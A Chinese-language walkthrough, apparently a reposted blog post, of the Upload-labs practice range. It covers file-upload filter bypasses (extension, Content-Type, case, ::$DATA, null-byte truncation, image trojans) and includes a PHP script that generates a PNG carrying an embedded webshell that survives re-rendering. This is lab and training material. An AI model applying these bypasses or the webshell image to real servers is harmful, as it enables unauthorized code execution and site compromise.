渗透测试文件上传通关练习之Upload-labs

这是一个专门练习文件上传的靶场,和sqli-labs靶场类似。

github项目地址:

https://github.com/c0ny1/upload-labs

虽然不能把文件解析漏洞录入,但也是不错的平台,感兴趣的可以自己配置环境+手动改源码。

分享几个技巧,希望可以帮助兄弟们练习靶场。

less1:对文件后缀名进行了检查

用BP抓包,上传个php文件,发现直接在客户端反应了,

说明过滤代码在客户端,用firebug查看,找到了checkfile函数;在这里修改即可!也可以先上传jpg文件,然后在bp抓包后修改文件为PHP的后缀名。

less2:只对 content-type进行了检查

查看源码:

($_FILES[‘upload_file’][‘type’] == ‘image/jpeg’😉 || ($_FILES[‘upload_file’][‘type’] == ‘image/png’😉 || ($_FILES[‘upload_file’][‘type’] == ‘image/gif’😉

BP抓包改文件类型;

Content-Type: application/octet-stream

改为: Content-Type: image/png

less3:提示:不允许上传.asp,.aspx,.php,.jsp后缀文件! //黑名单绕过

可以上传其他类型的文件: .phtml .phps .php5 .pht 等。

提交php文件,改后缀名jpg绕过。

less4:同上题。 .htaccess 后缀名并没有过滤

黑名单有点长: array(“.php”,”.php5″,”.php4″,”.php3″,”.php2″,”php1″,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5″,”.pHp4″, “.pHp3″,”.pHp2″,”pHp1″,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”, “.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”, “.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”😉

less5:大小写绕过。这题过滤了.htaccess

array(“.php”,”.php5″,”.php4″,”.php3″,”.php2″,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5″,”.pHp4″,”.pHp3″, “.pHp2″,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”, “.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”, “.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”😉;

less6:空格绕过 abc.php空格

这题并没有去除空格: $file_ext = trim($file_ext); //首尾去空

less7:这题没有尾部去点。同6绕过 , abc.php .

加上了去空格,少了尾部取点。

$file_name = deldot($file_name);//删除文件名末尾的点

less8:::$DATA绕过

a.php::$DATA

相比第七题,缺少去除字符串:$DATA

$file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。

备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。

仅windows下可用;

在php+windows的情况下:如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,

不会检测后缀名.且保持”::$DATA”之前的文件名。

less9:通过点空格点绕过。

在bp使用cookie.php. .绕过。


less10:双写绕过

使用替换函数,移除黑名单: (针对非windows系统)

$file_name = str_ireplace($deny_ext,””, $file_name);

less11:0x00截断 GET型

  • php版本低于5.3.29
  • magic_quotes_gpc = OFF
  • 从源码里可以看到一个GET型传参 save_path

    $img_path = $_GET[‘save_path’].”/”.rand(10, 99).date(“YmdHis”😉.”.”.$file_ext;

    less12:0X00截断

    原理同11题,改为POST型传参

    less13:

    使用图片木马! copy 1.jpg/b+1.txt 2.jpg

    通过其他文件包含漏洞进一步利用。

    less14:同13题

    使用了getimagesize函数;

    $info = getimagesize($filename); 结果是数组

    list($width,height,$type,$attr) = $info; /*list() 是可以定义多个变量的*/

    echo “宽度为:”.$width;

    echo “高度为:”.$height;

    echo “类型为:”.$type;

    echo “属性为:”.$attr;

    less15: 需要打开 php_exif

    php内置函数库-用于处理图片:

    Exif 函数

    exif_imagetype — 判断一个图像的类型

    exif_read_data — 从 JPEG 或 TIFF 文件中读取 EXIF 头信息

    exif_tagname — 获取指定索引的头名称

    exif_thumbnail — 取得嵌入在 TIFF 或 JPEG 图像中的缩略图

    read_exif_data — 别名 exif_read_data

    同13题,生成图片码上传;


    less16: 二次渲染

    PNG图片码:

    <?php

    $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,

    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,

    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,

    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,

    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,

    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,

    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,

    0x66, 0x44, 0x50, 0x33);

    $img = imagecreatetruecolor(32, 32);

    for ($y = 0; $y < sizeof($p); $y += 3) {

    $r = $p[$y];

    $g = $p[$y+1];

    $b = $p[$y+2];

    $color = imagecolorallocate($img, $r, $g, $b);

    imagesetpixel($img, round($y / 3), 0, $color);

    }

    imagepng($img,’./1.png’😉;

    ?>

    在本地生成1.png的图片码。

    GIF:

    在文件渲染后,没有变化的文本里写入一句话木马。

    声明:本站部分文章内容及图片转载于互联 、内容不代表本站观点,如有内容涉及侵权,请您立即联系本站处理,非常感谢!

    (0)
    上一篇 2022年8月16日
    下一篇 2022年8月16日

    相关推荐